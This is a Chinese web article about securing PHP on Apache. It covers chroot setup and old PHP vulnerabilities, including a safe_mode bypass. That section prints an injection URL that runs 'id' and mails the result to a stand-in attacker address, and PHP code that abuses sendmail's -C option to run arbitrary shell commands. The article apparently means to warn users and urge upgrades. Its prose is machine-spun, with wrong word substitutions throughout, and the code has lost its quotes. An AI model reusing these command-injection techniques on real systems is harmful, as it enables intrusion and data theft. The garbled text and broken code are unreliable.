PHP头条
热点:

PHP安全配置之实现安全的两个重点


一、Web服务器安全 

  PHP实在不过是Web服务器的一个模块功效,所以首先要保证Web服务器的安全。当然Web服务器要安全又必需是先保证系统安全,这样就扯远了,无限无尽。PHP可以和各种Web服务器联合,这里也只讨论Apache。非常建议以chroot方法安装启动Apache,这样即使Apache和PHP及其脚本呈现漏洞,受影响的也只有这个禁锢的系统,不会迫害实际系统。但是应用chroot的Apache后,给利用也会带来必定的麻烦,比如连接mysql时必需用127.0.0.1地址应用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个标题,由于php.ini里的: 

[mail function] 
; For Win32 only. 
SMTP = localhost 
; For Win32 only. 
sendmail_from = me@localhost.com 
  都是针对Win32平台,所以需要在chroot环境下调剂好sendmail。 

  二、PHP本身标题 

  1、远程溢出 

  PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛传播,成功率非常高. 

  2、远程拒尽服务 

  PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST恳求处理远程漏洞,固然不能获得本地用户权限,但是也能造成拒尽服务。 

  3、safe_mode绕过漏洞 

  还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制履行命令漏洞,4.0.5版本开端mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制履行命令。其中4.0.5版本突破非常简略,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php: 

  履行如下的URL: 

http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com 

  这将id履行的成果发送给evil@domain.com。 

  对于4.0.6至4.2.2的PHP突破safe_mode限制实在是利用了sendmail的-C参数,所以系统必需是应用sendmail。如下的代码能够突破safe_mode限制履行命令: 

  #留心,下面这两个必需是不存在的,或者它们的属主和本脚本的属主是一样:

$script=/tmp/script123; 
$cf=/tmp/cf123; 
$fd = fopen($cf, w); 
fwrite($fd, OQ/tmp 
Sparse=0 
R$* . chr(9) . $#local $@ $1 $: $1 
Mlocal, P=/bin/sh, A=sh $script); 
fclose($fd); 
$fd = fopen($script, w); 
fwrite($fd, rm -f $script $cf; ); 
fwrite($fd, $cmd); 
fclose($fd); 
mail(nobody, , , , -C$cf); 
?> 
  还是应用以上有标题版本PHP的用户必定要及时升级到最新版本,这样才干打消基础的安全标题。 

www.phpzy.comtrue/phpzygh/1804.htmlTechArticlePHP安全配置之实现安全的两个重点 一、Web服务器安全 PHP实在不过是Web服务器的一个模块功效,所以首先要保证Web服务器的安全。当然Web服务器要安全又必需是先保证系统安全,这样就...

相关文章

相关频道:

PHP之友评论

今天推荐